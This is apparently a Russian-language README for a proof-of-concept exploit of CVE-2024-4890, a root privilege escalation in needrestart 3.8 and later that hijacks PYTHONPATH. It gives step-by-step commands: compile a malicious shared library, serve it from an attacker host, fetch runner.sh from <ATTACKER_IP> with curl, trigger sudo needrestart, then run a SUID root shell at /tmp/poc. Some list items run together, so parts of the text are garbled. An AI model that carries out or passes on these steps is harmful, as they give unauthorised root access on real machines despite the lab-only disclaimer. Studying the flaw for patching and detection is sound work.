
Эксплойт PoC для CVE-2024-4890: повышение привилегий через neecdrestart (>=3.8). Только для этических лабораторных исследований. Скрипты на Python и C.
Только для использования в лабораторных условиях в контролируемых средах. Не используйте эксплойт на производственных системах без явного разрешения. Данный PoC предназначен только для образовательных целей. Автор не несет ответственности за любое неправомерное использование или несанкционированный доступ.
CVE-2024-4890 — это критическая уязвимость в needrestart (версии >= 3.8), которая позволяет выполнять произвольный код с повышенными привилегиями. Проблема вызвана небезопасной обработкой переменных окружения и конфигурационных файлов во время сканирования процессов.
В частности, при запуске с sudo, needrestart проверяет запущенные процессы Python, включая их переменную окружения PYTHONPATH. Злоумышленник может перехватить это, установив собственный PYTHONPATH, указывающий на контролируемый каталог (например, /tmp/attacker). Внутри этого каталога в поддельную структуру importlib помещается вредоносный модуль (__init__.so). Когда needrestart пытается импортировать его от имени root (для проверки библиотек), полезная нагрузка выполняется, предоставляя root-доступ.
Данный PoC демонстрирует эксплуатацию через приманку — процесс Python, вредоносную разделяемую библиотеку (скомпилированную из C) и скрипт автоматизации.
needrestart >= 3.8 и доступом к sudo.gcc (для компиляции), curl, python3.Разместите их в /tmp/attacker на целевой машине.
e.py: Сценарий-приманка Python (работает в цикле, ожидает успешного выполнения полезной нагрузки).runner.sh: Сценарий автоматизации для настройки и запуска приманки.lib.c в __init__.so и разместите его:gcc -shared -fPIC -o init.so lib.c
python3 -m http.server 8000
Целевая машина (Жертва):
/tmp/attacker.main.pyrunner.sh исполняемым:curl http://<ATTACKER_IP>:<PORT>/runner.sh -o /tmp/attacker/runner.sh
chmod +x /tmp/attacker/runner.sh
Запустите настройку в одном терминале:
cd /tmp/attacker && ./runner.sh
Это создает вредоносный модуль, скрипт-приманку и запускает перехваченный процесс Python.
sudo /usr/sbin/needrestartneedrestart обнаруживает процесс-приманку, считывает PYTHONPATH и импортирует вредоносный __init__.so от имени root — выполняя полезную нагрузку.
runner.sh):/tmp/poc (SUID-оболочка root, созданная полезной нагрузкой) и запускает root-оболочку:
sudo /tmp/poc -prm -rf /tmp/attacker /tmp/poc (и удалите запись sudoers, если она была добавлена).Индикатор успеха: whoami показывает root или id показывает uid=0(root).